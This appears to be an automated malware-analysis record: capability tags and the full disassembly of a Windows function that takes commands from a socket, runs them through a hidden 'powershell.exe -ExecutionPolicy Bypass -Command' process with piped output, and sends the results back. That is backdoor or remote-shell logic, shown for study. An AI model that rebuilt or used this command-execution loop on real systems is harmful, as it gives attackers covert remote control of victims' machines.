Function at 0x140003345
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1530
call fcn.14000d6e0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x14d0], ecx
mov qword [rbp + 0x14d8], rdx
mov rax, qword [rbp + 0x14d8]
lea rdx, str.exec
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140003441
mov dword [rbp - 0x2e], 0x63657865
mov word [rbp - 0x2a], 0x20
lea rdx, [rbp - 0x2e]
mov rax, qword [rbp + 0x14d8]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0x14a0], rax
lea rax, [rbp - 0x2e]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x14a0]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x1498], rax
mov rax, qword [rbp + 0x1498]
lea rbx, [rax + 1]
lea rax, [rbp - 0x2e]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x14a0]
add rdx, rax
mov rax, qword [rbp + 0x14d8]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x14d8]
lea rdx, [0x1400145e0]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140003441
mov rdx, qword [rbp + 0x14d8]
mov eax, dword [rbp + 0x14d0]
mov ecx, eax
call sym._chdir
mov eax, 0
jmp 0x140003892
mov dword [rbp + 0x13f0], 0x18
mov qword [rbp + 0x13f8], 0
mov dword [rbp + 0x1400], 1
lea rcx, [rbp + 0x13f0]
lea rdx, [rbp + 0x13e0]
lea rax, [rbp + 0x13e8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x1400034bf
mov eax, dword [rbp + 0x14d0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x1400145ce]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140003892
lea rax, [rbp + 0x1430]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1430], 0x68
mov dword [rbp + 0x146c], 0x101
mov word [rbp + 0x1470], 0
mov rax, qword [rbp + 0x13e0]
mov qword [rbp + 0x1488], rax
mov rax, qword [rbp + 0x13e0]
mov qword [rbp + 0x1490], rax
mov dword [rbp + 0x14ac], 0
mov dword [rbp + 0x14a8], 0
jmp 0x14000358e
mov eax, dword [rbp + 0x14a8]
movsxd rdx, eax
mov rax, qword [rbp + 0x14d8]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0x22
jne 0x14000355b
mov eax, dword [rbp + 0x14ac]
lea edx, [rax + 1]
mov dword [rbp + 0x14ac], edx
cdqe
mov byte [rbp + rax + 0xbe0], 0x5c
mov eax, dword [rbp + 0x14a8]
movsxd rdx, eax
mov rax, qword [rbp + 0x14d8]
add rax, rdx
movzx edx, byte [rax]
mov eax, dword [rbp + 0x14ac]
cdqe
mov byte [rbp + rax + 0xbe0], dl
add dword [rbp + 0x14a8], 1
add dword [rbp + 0x14ac], 1
mov eax, dword [rbp + 0x14a8]
movsxd rbx, eax
mov rax, qword [rbp + 0x14d8]
mov rcx, rax
call sym.strlen
cmp rbx, rax
jae 0x1400035bb
cmp dword [rbp + 0x14ac], 0x7fe
jle 0x140003528
mov eax, dword [rbp + 0x14ac]
cdqe
mov byte [rbp + rax + 0xbe0], 0
movabs rax, 0x6568737265776f70
movabs rdx, 0x2d206578652e6c6c
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], rdx
movabs rax, 0x6c69666f72506f4e
movabs rdx, 0x75636578452d2065
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x3f8], rdx
movabs rax, 0x696c6f506e6f6974
movabs rdx, 0x7361707942207963
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rdx
movabs rax, 0x616d6d6f432d2073
mov edx, 0x2220646e
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x418], rdx
lea rdx, [rbp + 0x420]
mov eax, 0
mov ecx, 0xf8
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x3e0]
mov rcx, rax
call sym.strlen
mov edx, 0x7ff
mov rcx, rdx
sub rcx, rax
lea rdx, [rbp + 0xbe0]
lea rax, [rbp + 0x3e0]
mov r8, rcx
mov rcx, rax
call sym.strncat
lea rax, [rbp + 0x3e0]
mov rcx, rax
call sym.strlen
mov edx, 0x7ff
sub rdx, rax
lea rax, [rbp + 0x3e0]
mov r8, rdx
lea rdx, [0x1400145e3]
mov rcx, rax
call sym.strncat
lea rax, [rbp + 0x3e0]
lea rdx, [rbp + 0x1410]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1430]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140003781
mov eax, dword [rbp + 0x14d0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x1400145ce]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x13e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x13e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140003892
mov rax, qword [rbp + 0x13e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400037c6
mov eax, dword [rbp - 0x24]
mov eax, eax
mov byte [rbp + rax - 0x20], 0
mov eax, dword [rbp - 0x24]
mov ecx, eax
mov eax, dword [rbp + 0x14d0]
cdqe
lea rdx, [rbp - 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x13e8]
lea rcx, [rbp - 0x24]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x1400037fe
mov eax, dword [rbp - 0x24]
test eax, eax
jne 0x140003796
mov rax, qword [rbp + 0x1410]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1410]
lea rdx, [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov rax, qword [rbp + 0x13e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1410]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x14d0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x1400145ce]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x1530
pop rbx
pop rdi
pop rbp
ret